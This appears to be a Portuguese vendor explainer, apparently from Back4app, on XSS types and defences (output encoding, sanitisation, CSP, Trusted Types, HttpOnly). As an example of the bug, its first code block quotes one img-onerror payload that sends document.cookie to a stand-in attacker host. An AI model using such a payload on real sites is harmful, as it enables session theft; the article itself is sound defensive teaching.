O que é Cross-Site Scripting (XSS) e como prevenir?

Atualizado em: agosto de 2026

Cross-site scripting é um ataque que injeta scripts maliciosos em páginas confiáveis; prevenir exige codificar a saída conforme cada contexto. O navegador é vítima da própria confiança: um script que chega dentro de uma página vinda de uma origem legítima roda com todos os poderes daquela página — session, storage, cada ação que o usuário pode executar. Três décadas depois, o CWE-79 ainda lidera os rankings de fraquezas mais perigosas, porque a causa-raiz é cometida um template por vez: entrada não confiável chegando à saída sem codificação.

Principais pontos

PerguntaResposta
Os três tiposArmazenado (no banco) · refletido (na URL) · baseado em DOM (no JS do cliente)
A defesa primáriaCodificação de saída sensível ao contexto — na renderização, por destino
A regra que todo mundo inverteValide por correção; codifique por segurança — validação sozinha não basta
FrameworksAuto-escape por padrão — até a válvula de escape (v-html, dangerouslySetInnerHTML)
As redes de segurançaCSP estrita · Trusted Types · cookies HttpOnly — mitigação, não correção

Uma linha vulnerável

// O bug — dado do usuário encontra um sink de HTML
commentEl.innerHTML = comment.text;
// Payload que alguém vai acabar enviando:
//   <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">
// O navegador de cada leitor executa isso, com a session do leitor.

// A correção — mesmo dado, contexto de texto
commentEl.textContent = comment.text;   // a marcação aparece como texto; nunca executa

A disciplina por trás dessa correção — armazenar bruto, renderizar seguro — através do stack:

// JavaScript / Node.js — Back4app JS SDK + browser
// Store RAW, render SAFE — encoding happens at output, not at save
const comment = new Parse.Object('Comment');
comment.set('text', userInput); // saved as-is: O'Brien, 1 < 2, all fine
await comment.save();

// Rendering: textContent treats it as text — markup never executes
commentEl.textContent = comment.get('text'); // safe by construction
// commentEl.innerHTML = comment.get('text'); // ← the XSS sink

XSS armazenado vs. refletido vs. baseado em DOM

Armazenado (persistente)RefletidoBaseado em DOM
O payload viveNo seu banco de dadosEm uma URL manipuladaNo fluxo de dados do cliente
VítimasTodo mundo que vê a páginaQuem clica no linkQuem chega ao estado da página
O servidor vêSim — na escritaSim — ecoado a cada requisiçãoMuitas vezes nunca
Vetor clássicoComentários, perfis, mensagensEcos de busca, páginas de errolocation.hashinnerHTML
Consenso de severidadeO mais perigosoDirecionado, dependente do linkInvisível para logs do servidor e WAFs
Como os três tipos de XSS entregam um payload ao navegador da vítimaA entrada do atacante chega ao navegador da vítima por três caminhos. O XSS armazenado é salvo no banco de dados e servido a todos os visitantes. O XSS refletido é ecoado de volta a partir de uma requisição com URL manipulada. O XSS baseado em DOM flui de uma fonte no lado do cliente direto para um sink perigoso, sem necessariamente chegar ao servidor. Os três terminam com o script executando com todos os privilégios da página.

salva: comentário, perfil

servida a todos os visitantes

URL manipulada, ecoada de volta

fonte no cliente → sink
(hash → innerHTML)

Entrada do atacante

Banco de dados

Navegador da vítima

Resposta do servidor

JS da própria página

Script roda com a session,
o storage e os poderes da página

A entrada do atacante chega ao navegador da vítima por três caminhos. O XSS armazenado é salvo no banco de dados e servido a todos os visitantes. O XSS refletido é ecoado de volta a partir de uma requisição com URL manipulada. O XSS baseado em DOM flui de uma fonte no lado do cliente direto para um sink perigoso, sem necessariamente chegar ao servidor. Os três terminam com o script executando com todos os privilégios da página.

A defesa primária: codificação de saída sensível ao contexto

A regra de assinatura, dita com clareza já que as autoridades do assunto a enterram: a mesma string é segura em um lugar e letal em outro — e é por isso que a codificação acontece na saída, por destino, e por isso que a validação de entrada sozinha sempre falha: no momento da entrada você não conhece o contexto, blocklists perdem para truques de encoding, e dados legítimos (O'Brien, 1 < 2) quebram sob validação-como-segurança.

Contexto de saídaCodifiqueO erro comum
Corpo do HTMLCodificar como entidades & < > " 'Confiar que “é só texto”
Atributo HTMLEntidades + sempre aspas no atributoAtributos sem aspas — espaços escapam do valor
String JavaScriptEscape \uXXXX, via serializadorConcatenar dado do usuário em JS inline
URL / hrefPercent-encoding + validar o schemeURLs javascript: passam ilesas pela codificação HTML
Valor CSSAllowlists estritas, só valores de propriedadeBlocos de style controlados pelo usuário
JSON na páginaSerializar como JSON + escapar </script>Blobs de hidratação window.__STATE__ = …

Quando usuários escrevem HTML legitimamente — rich text, markdown — a codificação o destruiria; esse é o único trabalho da sanitização: uma biblioteca mantida (DOMPurify) remove construções executáveis, e a saída deve ser usada na íntegra — modificar de novo uma string sanitizada anula a sanitização.

Frameworks: escape por padrão, inseguro pela válvula de escape

Os frameworks modernos aposentaram o grosso do XSS clássico — valores interpolados são escapados automaticamente. Duas letras miúdas mantêm o bug vivo. Primeira: todo framework traz um bypass, e cada um é um alvo de grep no code review:

FrameworkEscapa por padrãoA válvula de escape
ReactInterpolação JSXdangerouslySetInnerHTML
VueTemplates {{ }}v-html
AngularInterpolação + sanitizadorbypassSecurityTrustHtml e irmãos
SvelteExpressões de template{@html …}
Templates de servidorModo auto-escapeFiltros | safe / | raw

Segunda: o auto-escape cobre apenas o contexto do corpo HTML: um href vinculado a dado do usuário ainda executa URLs javascript:, e embutir em script inline ainda exige codificação de contexto JS. A resposta em forma de fluxo de trabalho: sanitize antes de qualquer válvula de escape, valide o scheme das URLs em links vinculados e adicione lint para as válvulas (react/no-danger e afins), para que as exceções continuem deliberadas.

Defesa em profundidade: CSP, Trusted Types, HttpOnly

As redes de segurança, com o rótulo honesto. Uma Content Security Policy estrita bloqueia scripts inline injetados mesmo quando um bug vai para produção:

Content-Security-Policy:
  script-src 'nonce-{random-per-response}' 'strict-dynamic';
  object-src 'none'; base-uri 'none'

Baseada em nonce, não em allowlist — allowlists de hosts são contornáveis com frequência suficiente para o cheat sheet da OWASP insistir que a CSP não deve ser sua defesa primária. Implante primeiro em modo Report-Only. Trusted Types (require-trusted-types-for 'script') vai além para o XSS de DOM: sinks perigosos como innerHTML passam a rejeitar strings puras, forçando todo HTML a passar por uma única política auditável. E cookies HttpOnly protegem exatamente uma coisa — scripts injetados não conseguem ler o cookie de session — o que importa porque tokens em localStorage estão a um localStorage.getItem da exfiltração: a orientação de armazenamento de JWT e este artigo são o mesmo argumento visto de dois lados. Nenhuma das três corrige o bug; as três encolhem o quanto ele vale.

A parte que pertence ao backend

XSS soa como problema de frontend; uma fatia dele pertence à API. Armazene bruto, codifique na saída — codificar na escrita corrompe dados, gera dupla codificação em idas e voltas e ainda erra contextos que você não previu. Disciplina de content type: respostas JSON declaram Content-Type: application/json mais X-Content-Type-Options: nosniff, porque um parâmetro refletido em uma resposta que o navegador aceita farejar como HTML é XSS com etapas extras. Páginas de erro que ecoam a URL ou os parâmetros são o sink refletido clássico que ninguém revisa. E a armadilha vizinha que merece uma frase: renderizar entrada do usuário como template, e não como dado, escala além do XSS para server-side template injection — entrada do usuário é dado de template, nunca código de template.

Casos de uso comuns

Onde essas defesas pagam o próprio salário:

  • Comentários, avaliações, mensagens — território do XSS armazenado: codifique na renderização, em todo lugar onde aparecem.
  • Rich text e markdown — o caso do HTML legítimo: sanitize na renderização, mantenha o sanitizador atualizado.
  • Busca, filtros, páginas de erro — território do refletido: qualquer coisa que ecoa dados da requisição os codifica.
  • SPAs que roteiam por estado da URL — território do DOM: dado de fragmento e de query nunca encontra innerHTML sem sanitização.
  • WebViews mobile — a superfície de XSS do app nativo: nunca carregue conteúdo bruto do usuário como HTML.

Qual defesa vem primeiro? Matriz de decisão

SituaçãoFaça
Exibir texto do usuárioInterpolação do framework / textContent — nada mais sofisticado
Renderizar HTML escrito pelo usuárioSanitizar com DOMPurify, usar a saída na íntegra
Dado do usuário em um linkValidar allowlist de scheme (https:), depois codificar
JSON/estado inline nas páginasSerializar como JSON com escape seguro para script
Colocar qualquer item acima em produçãoCSP estrita com nonce em Report-Only, depois aplicar
Auditar código existenteGrep nas válvulas de escape e sinks; lint; testar payloads por contexto

Limitações e trade-offs

  • A codificação precisa ser exata para o contexto. Codificar como HTML um dado vinculado a uma URL ou a um bloco de script é o padrão da falsa segurança — defesa certa, contexto errado, ainda explorável.
  • Sanitizadores são dependências. Bypasses são publicados; um sanitizador pinado e desatualizado vira, em silêncio, uma vulnerabilidade com changelog.
  • CSP custa engenharia. Nonces tocam toda tag de script e handler inline; adotar CSP estrita em uma base legada é um projeto — por isso o Report-Only existe.
  • Trusted Types tem arestas de adoção. A aplicação é liderada pelo Chromium; trate como endurecimento por cima da codificação, não como garantia de portabilidade.
  • WAFs não são a resposta. Filtros de casamento de padrões pegam payloads conhecidos e perdem encodings e mutações; a própria orientação da OWASP os chama de não confiáveis para XSS.

Prevenção de XSS no Back4app

O Back4app é uma plataforma open-source de Backend as a Service (BaaS) que combina banco de dados gerenciado, APIs REST e GraphQL geradas automaticamente, autenticação, armazenamento de arquivos e funções serverless com Cloud Code. A fatia do backend na disciplina já vem embutida: os dados são armazenados brutos e devolvidos por APIs JSON com content types corretos — nunca renderizados como HTML no servidor — de modo que a responsabilidade de codificar na saída fica limpa na sua camada de UI, onde as abas de código acima mostram o padrão armazenar-bruto/renderizar-seguro por plataforma. Os controles de raio de dano já estão ligados: sessions viajam em tokens revogáveis em vez de credenciais de longa vida no localStorage, e ACLs com permissões em nível de classe delimitam o que qualquer script executando como um usuário poderia tocar — um payload injetado herda as permissões da vítima, não o banco de dados. O Cloud Code é o lugar certo para a higiene restante do lado do servidor: validar campos de URL contra allowlists de scheme e sanitizar campos de rich text uma única vez, no beforeSave, para que todo cliente renderize o mesmo conteúdo já defendido.

Perguntas frequentes

O que é XSS em termos simples?

Um atacante contrabandeia JavaScript próprio para dentro de uma página que outras pessoas visualizam — por um comentário, um link manipulado, um campo de perfil — e o navegador das vítimas o executa como se o próprio site o tivesse escrito. Dali em diante, o script pode fazer tudo o que a vítima pode: ler seus dados, agir em seu nome, roubar sua session.

Qual é um exemplo de ataque XSS?

Um campo de comentários que não codifica a saída: envie uma tag de script como comentário e ela executa no navegador de todo leitor. Payloads de prova de conceito disparam um alert; os reais enviam o cookie de session ou os tokens da vítima para o atacante.

Qual a diferença entre XSS armazenado, refletido e baseado em DOM?

Onde o payload viaja. O XSS armazenado vive no banco de dados e atinge todo mundo que visualiza a página. O refletido pega carona em uma URL manipulada e atinge quem clica nela. O baseado em DOM acontece inteiramente no JavaScript do cliente — o dado do atacante flui de uma fonte como o fragmento da URL para um sink como innerHTML, às vezes sem nunca tocar o servidor.

Como prevenir XSS?

Nesta ordem: codificação de saída sensível ao contexto no momento de renderizar (a defesa primária), validação de entrada como camada de apoio, uma biblioteca de sanitização quando usuários podem escrever HTML de verdade, content types corretos nas APIs, uma Content Security Policy estrita como rede de segurança e cookies HttpOnly para limitar o que um ataque bem-sucedido consegue roubar.

Codificação de saída, validação de entrada, sanitização — qual usar?

Trabalhos diferentes. A codificação converte caracteres na saída para que o dado seja exibido como texto em vez de executar — a defesa primária, escolhida por contexto. A validação rejeita entrada malformada na chegada — útil para correção, insuficiente para segurança, porque o perigo depende de onde o dado vai parar. A sanitização remove construções inseguras de HTML que você pretende renderizar como HTML.

Content Security Policy impede XSS?

Uma CSP estrita, baseada em nonce, bloqueia scripts inline injetados mesmo quando o bug existe — defesa em profundidade genuína. Mas ela é o backup, não a correção: políticas no estilo allowlist são amplamente contornáveis, e a orientação da OWASP é explícita em dizer que a CSP nunca deve ser a defesa primária.

React e Vue previnem XSS automaticamente?

Em grande parte — a interpolação de templates escapa valores automaticamente, o que aposentou classes inteiras de bug. Mas todo framework traz válvulas de escape que reintroduzem o XSS na íntegra: dangerouslySetInnerHTML no React, v-html no Vue, as APIs de bypass de confiança no Angular — além de URLs javascript: em bindings de href, que o auto-escape nunca cobriu.

Qual a diferença entre XSS e CSRF?

Capacidade. O XSS executa código do atacante no navegador da vítima — via de mão dupla: consegue ler respostas e fazer tudo o que o usuário faz. O CSRF apenas engana o navegador para enviar requisições forjadas — mão única, sem leitura, e dependente de uma session ativa. O XSS é a classe mais severa, e um bug de XSS pode derrotar as defesas contra CSRF.

Termos relacionados

Compare com

Leitura adicional

Pronto para construir seu backend?

Comece seu projeto no Back4app em minutos — banco de dados, autenticação, APIs e Cloud Code incluídos. Sem cartão de crédito.

Escrito e revisado por Back4app Engineering, Back4app Engineering · Publicado em 2026-08-21